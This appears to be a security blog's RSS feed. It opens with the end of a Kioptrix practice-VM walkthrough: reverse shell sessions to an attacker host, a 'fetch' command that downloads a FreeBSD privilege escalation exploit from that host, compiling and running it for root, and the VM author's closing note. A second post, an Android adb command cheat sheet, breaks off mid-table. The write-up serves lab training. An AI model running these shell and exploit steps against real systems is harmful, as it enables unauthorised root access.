&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Accepted the first client connection...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Accepted the second client connection...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Command: &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;GiSakqCyBJv7ZAuW&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Writing to socket A
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Writing to socket B
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Reading from sockets...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Command: &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;4yauS5V9QPhhcobv&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Writing to socket A
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Writing to socket B
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:42] Reading from sockets...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] Reading from socket B
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] B: &lt;span class=&quot;s2&quot;&gt;&quot;GiSakqCyBJv7ZAuW&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] Matching...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] A is input...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] Reading from socket B
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] B: &lt;span class=&quot;s2&quot;&gt;&quot;4yauS5V9QPhhcobv&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] Matching...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2016.01.07-08:20:43] A is input...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Command shell session 1 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.221.162:4444 -&amp;gt; 192.168.221.159:45072&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2016-01-07 08:20:43 &lt;span class=&quot;nt&quot;&gt;-0500&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Command shell session 2 opened &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;192.168.221.162:4444 -&amp;gt; 192.168.221.159:62420&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2016-01-07 08:20:43 &lt;span class=&quot;nt&quot;&gt;-0500&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;The binary &lt;code&gt;fetch&lt;/code&gt; was used to download a FreeBSD 9.0-9.1 mmap/ptrace - Privilege Escalation Exploit, fetch was used as the target didn’t contain the usual binaries for file download (wget, curl, etc).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;wget
wget: not found

curl
curl: not found

fetch &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; exploit http://192.168.221.162:45/26368
exploit                                               2215  B   32 MBps

&lt;span class=&quot;nb&quot;&gt;mv &lt;/span&gt;exploit exploit.c
gcc exploit.c &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; exploit
./exploit

&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;wheel&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;egid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;80&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;www&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/bin/sh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;
sh: can&lt;span class=&quot;s1&quot;&gt;&apos;t access tty; job control turned off
# cd /root
# ls
.cshrc
.history
.k5login
.login
.mysql_history
.profile
congrats.txt
folderMonitor.log
httpd-access.log
lazyClearLog.sh
monitor.py
ossec-alerts.log
# cat congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can&apos;&lt;/span&gt;t enjoy them.

As with all my VMs, besides getting &lt;span class=&quot;s2&quot;&gt;&quot;root&quot;&lt;/span&gt; on the system, the goal is to also
learn the basics skills needed to compromise a system. Most importantly, &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;my mind,
are information gathering &amp;amp; research. Anyone can throw massive amounts of exploits
and &lt;span class=&quot;s2&quot;&gt;&quot;hope&quot;&lt;/span&gt; it works, but think about the traffic.. the logs... Best to take it
slow, and &lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;up on the information you gathered and hopefully craft better
more targetted attacks.

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the OS gives you any idea of what will work and what won&lt;span class=&quot;s1&quot;&gt;&apos;t from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren&apos;&lt;/span&gt;t &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/var/log/apache/access.log&quot;&lt;/span&gt;, but &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/var/log/httpd-access.log&quot;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
It&lt;span class=&quot;s1&quot;&gt;&apos;s default document root is not &quot;/var/www/&quot; but in &quot;/usr/local/www/apache22/data&quot;.
Finding and knowing these little details will greatly help during an attack. Of course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed &quot;OSSEC-HIDS&quot; and monitored a few things.
Default settings, nothing fancy but it should&apos;&lt;/span&gt;ve logged a few of your attacks. Look
at the following files:
/root/folderMonitor.log
/root/httpd-access.log &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;softlink&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
/root/ossec-alerts.log &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;softlink&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified
files &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;2 specific folders. Since FreeBSD doesn&lt;span class=&quot;s1&quot;&gt;&apos;t support &quot;iNotify&quot;, I couldn&apos;&lt;/span&gt;t use OSSEC-HIDS
&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;this.
The httpd-access.log is rather self-explanatory &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain
files. This one should&lt;span class=&quot;s1&quot;&gt;&apos;ve detected a few of your web attacks.

Feel free to explore the system and other log files to see how noisy, or silent, you were.
And again, thank you for taking the time to download and play.
Sincerely hope you enjoyed yourself.

Be good...


loneferret
http://www.kioptrix.com


p.s.: Keep in mind, for each &quot;web attack&quot; detected by OSSEC-HIDS, by
default it would&apos;&lt;/span&gt;ve blocked your IP &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;both &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;hosts.allow &amp;amp; Firewall&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for
&lt;/span&gt;600 seconds. I was &lt;span class=&quot;nb&quot;&gt;nice &lt;/span&gt;enough to remove that part :&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>ADB Commands Cheat Sheet - Flags, Switches &amp; Examples Tutorial</title>
          <link>https://hacksofdhruv.me/blog/adb-command-cheat-sheet/</link>
          <pubDate>Sat, 06 Apr 2024 05:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Mobile</category>
          
          <category>Tools</category>
          
          <category>Pen-Testing</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/adb-command-cheat-sheet/</guid>
          <description>&lt;h2 id=&quot;what-is-adb&quot;&gt;What is adb?&lt;/h2&gt;

&lt;p&gt;The Android Debug Bridge (adb) is a programming tool used for the debugging of Android-based devices. The daemon on the Android device connects with the server on the host PC over USB or TCP, which connects to the client that is used by the end user over TCP. For hackers, this means we can interact with Android devices to add and remove packages, access debug logs and interact with either physical or virtual Android instances for mobile web app security testing.&lt;/p&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-adb&quot; id=&quot;markdown-toc-what-is-adb&quot;&gt;What is adb?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#adb-installation&quot; id=&quot;markdown-toc-adb-installation&quot;&gt;adb Installation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#adb-example-commands&quot; id=&quot;markdown-toc-adb-example-commands&quot;&gt;adb Example Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-start--restart&quot; id=&quot;markdown-toc-adb-start--restart&quot;&gt;adb start / restart&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-reboot&quot; id=&quot;markdown-toc-adb-reboot&quot;&gt;adb reboot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-reboot-with-root&quot; id=&quot;markdown-toc-adb-reboot-with-root&quot;&gt;adb reboot with root&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-list-devices&quot; id=&quot;markdown-toc-adb-list-devices&quot;&gt;adb list devices:&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-shell&quot; id=&quot;markdown-toc-adb-shell&quot;&gt;adb shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-android-version&quot; id=&quot;markdown-toc-adb-android-version&quot;&gt;adb android version&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-logcat&quot; id=&quot;markdown-toc-adb-logcat&quot;&gt;adb Logcat&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-copy-files&quot; id=&quot;markdown-toc-adb-copy-files&quot;&gt;adb copy files&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-install-package&quot; id=&quot;markdown-toc-adb-install-package&quot;&gt;adb install package&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#uninstalling-app-with-adb&quot; id=&quot;markdown-toc-uninstalling-app-with-adb&quot;&gt;Uninstalling app with adb&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-update-app&quot; id=&quot;markdown-toc-adb-update-app&quot;&gt;adb update app&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-home-button-press&quot; id=&quot;markdown-toc-adb-home-button-press&quot;&gt;adb home button press&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-take-screenshot&quot; id=&quot;markdown-toc-adb-take-screenshot&quot;&gt;adb take screenshot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-screen-record&quot; id=&quot;markdown-toc-adb-screen-record&quot;&gt;adb screen record&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#shpref&quot; id=&quot;markdown-toc-shpref&quot;&gt;ShPref&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-restart-app&quot; id=&quot;markdown-toc-adb-restart-app&quot;&gt;adb restart app&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-emulate-device&quot; id=&quot;markdown-toc-adb-emulate-device&quot;&gt;adb emulate device&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#adb-print-text&quot; id=&quot;markdown-toc-adb-print-text&quot;&gt;adb print text&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#adb-key-events&quot; id=&quot;markdown-toc-adb-key-events&quot;&gt;adb key events&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#useful-file-system-paths&quot; id=&quot;markdown-toc-useful-file-system-paths&quot;&gt;Useful file system paths&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-show-device-information&quot; id=&quot;markdown-toc-adb-show-device-information&quot;&gt;adb show device information&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-show-package-info&quot; id=&quot;markdown-toc-adb-show-package-info&quot;&gt;adb show package info&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-system-settings&quot; id=&quot;markdown-toc-adb-system-settings&quot;&gt;adb system settings&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-device-commands&quot; id=&quot;markdown-toc-adb-device-commands&quot;&gt;adb device commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#adb-backup&quot; id=&quot;markdown-toc-adb-backup&quot;&gt;adb backup&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot; id=&quot;markdown-toc-conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sources&quot; id=&quot;markdown-toc-sources&quot;&gt;Sources&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;adb-installation&quot;&gt;adb Installation&lt;/h2&gt;

&lt;p&gt;How to install adb on MacOS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;android-platform-tools&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;adb-example-commands&quot;&gt;adb Example Commands&lt;/h2&gt;

&lt;h3 id=&quot;adb-start--restart&quot;&gt;adb start / restart&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb kill-server
adb start-server &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-reboot&quot;&gt;adb reboot&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb reboot
adb reboot recovery 
adb reboot-bootloader&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-reboot-with-root&quot;&gt;adb reboot with root&lt;/h3&gt;

&lt;p&gt;The following restarts the android device with root permissions:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb root&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-list-devices&quot;&gt;adb list devices:&lt;/h3&gt;

&lt;p&gt;Show adb devices:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb devices&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb show devices with full information (product/model)&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb devices &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb connect to a device:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb connect IP-ADDRESS&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-shell&quot;&gt;adb shell&lt;/h3&gt;

&lt;p&gt;Run commands on the android device shell via an adb shell:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-android-version&quot;&gt;adb android version&lt;/h3&gt;

&lt;p&gt;Return the running Android version of the connected adb device:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell getprop ro.build.version.release &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-logcat&quot;&gt;adb Logcat&lt;/h3&gt;

&lt;p&gt;Commands related to adb logcat, allowing access to Android logs via adb.&lt;/p&gt;

&lt;p&gt;adb view logs:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb logcat&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb clear logs on device:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb logcat &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb dump log output to file on the local system:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb logcat &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/foo.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb full log dump (dumpstate, dumpsys and logcat output):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb bugreport &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/full-adb-dump.txt&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-copy-files&quot;&gt;adb copy files&lt;/h3&gt;

&lt;p&gt;adb copy files from your system to your android phone:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb push &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;destination]&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb copy files from phone to system:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb pull &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;device file location] /tmp/foo&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-install-package&quot;&gt;adb install package&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; /tmp/package.apk&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;&lt;code&gt;COMMAND&lt;/code&gt;&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;-d&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;directs command to the only connected USB device&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;-e&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;directs command to the only running emulator&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;-s&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;serial number&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;-p&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;product name or path&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;Note the flag needs to come before the command.&lt;/p&gt;

&lt;h3 id=&quot;uninstalling-app-with-adb&quot;&gt;Uninstalling app with adb&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb uninstall com.myAppPackage&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Uninstalls the app with the package name com.myAppPackage.&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb uninstall &amp;lt;app .apk name&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Uninstalls the app with the specified .apk file name.&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb uninstall -k &amp;lt;app .apk name&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Uninstalls the .apk file without deleting its data.&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-update-app&quot;&gt;adb update app&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
